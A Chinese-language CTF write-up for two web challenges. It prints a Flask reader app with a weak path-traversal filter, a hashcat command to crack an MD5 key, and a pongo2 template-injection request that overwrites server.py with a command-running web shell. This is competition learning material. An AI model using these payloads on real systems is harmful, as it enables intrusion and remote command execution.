reading


import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime

app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()

books = os.listdir('./books')
books.sort(reverse=True)


@app.route('/')
def index():
    if session:
        book = session['book']
        page = session['page']
        page_size = session['page_size']
        total_pages = session['total_pages']
        filepath = session['filepath']

        words = read_file_page(filepath, page, page_size)
        return render_template('index.html', books=books, words=words)

    return render_template('index.html', books=books )


@app.route('/books', methods=['GET', 'POST'])
def book_page():
    if request.args.get('book'):
        book = request.args.get('book')
    elif session:
        book = session.get('book')
    else:
        return render_template('index.html', books=books, message='I need book')
    book=book.replace('..','.')
    filepath = './books/' + book

    if request.args.get('page_size'):
        page_size = int(request.args.get('page_size'))
    elif session:
        page_size = int(session.get('page_size'))
    else:
        page_size = 3000

    total_pages = math.ceil(os.path.getsize(filepath) / page_size)

    if request.args.get('page'):
        page = int(request.args.get('page'))
    elif session:
        page = int(session.get('page'))
    else:
        page = 1
    words = read_file_page(filepath, page, page_size)
    prev_page = page - 1 if page > 1 else None
    next_page = page + 1 if page < total_pages else None

    session['book'] = book
    session['page'] = page
    session['page_size'] = page_size
    session['total_pages'] = total_pages
    session['prev_page'] = prev_page
    session['next_page'] = next_page
    session['filepath'] = filepath
    return render_template('index.html', books=books, words=words )


@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if hashlib.md5(session.get('key').encode()).hexdigest() == key:
        return os.popen('/readflag').read()
    else:
        return "no no no"


def read_file_page(filename, page_number, page_size):
    for i in range(3):
        for j in range(3):
            size=page_size + j
            offset = (page_number - 1) * page_size+i
            try:
                with open(filename, 'rb') as file:
                    file.seek(offset)
                    words = file.read(size)
                    return words.decode().split('\n')
            except Exception as e:
                pass
            #if error again
            offset = (page_number - 1) * page_size
            with open(filename, 'rb') as file:
                file.seek(offset)
                words = file.read(page_size)
            return words.split(b'\n')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

老题目了,内存里读key

爆破脚本就不贴了,爆破出两个MD5值,去解密就好

hashcat爆破 hashcat -m 0 -a 3 "558e1ffc2ca2910fc63e0d8b53ff39e3" "169876481?d?d?d?d?d?d?d?d?d?d"

gosession

首先是修改文件,本地启动服务获取admin的session 之后是个pongo2模版注入

/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}

然后利用flask的热重载

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 123.56.244.196:17997
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

&#25552;&#20132;
------WebKitFormBoundaryrxtSm5i2S6anueQi--